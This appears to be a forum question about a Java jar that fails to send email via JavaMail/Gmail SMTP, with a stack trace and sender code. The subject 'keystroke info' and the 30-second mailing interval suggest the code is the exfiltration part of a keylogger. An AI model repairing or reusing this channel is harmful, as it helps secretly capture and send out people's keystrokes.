Basically, I created a runnable jar file through Eclipse that is supposed to send me an email every 30 seconds. The code works fine when running in Eclipse, but after creating the jar file and running the jar file it gives me this error.
javax.mail.NoSuchProviderException: No provider for smtp
at javax.mail.Session.getProvider(Session.java:460)
at javax.mail.Session.getTransport(Session.java:655)
at javax.mail.Session.getTransport(Session.java:636)
at handlers.Sender.Send(Sender.java:89)
at handlers.Sender.Send(Sender.java:34)
at handlers.ManageService.run(ManageService.java:29)
at java.lang.Thread.run(Unknown Source)
I've tried a few solutions on this page Send email using java but couldn't get anything to work. Did I miss something or does anyone else have any other solutions?
package handlers;
import java.util.Properties;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;
public class Sender {
private Sender() {
}
private static final String SENDERS_GMAIL = "EMAIL";
private static final String SENDERS_PASSWORD = "PASS";
private static final String RECIEVERS_EMAIL = "EMAIL";
private static Properties mailServerProperties;
private static Session mailSess;
private static MimeMessage mailMessage;
public static void sendMail(String emailBody) throws Throwable {
mailServerProperties = System.getProperties();
mailServerProperties.put("mail.smtp.port", "587");
mailServerProperties.put("mail.smtp.auth", "true");
mailServerProperties.put("mail.smtp.starttls.enable", "true");
mailSess = Session.getDefaultInstance(mailServerProperties);
mailMessage = new MimeMessage(mailSess);
mailMessage.addRecipient(RecipientType.BCC, new InternetAddress(RECIEVERS_EMAIL));
mailMessage.setSubject("keystroke info");
mailMessage.setContent(emailBody, "text/html");
Transport transport = mailSess.getTransport("smtp");
transport.connect("smtp.gmail.com", SENDERS_GMAIL, SENDERS_PASSWORD);
transport.sendMessage(mailMessage, mailMessage.getAllRecipients());
transport.close();
}
}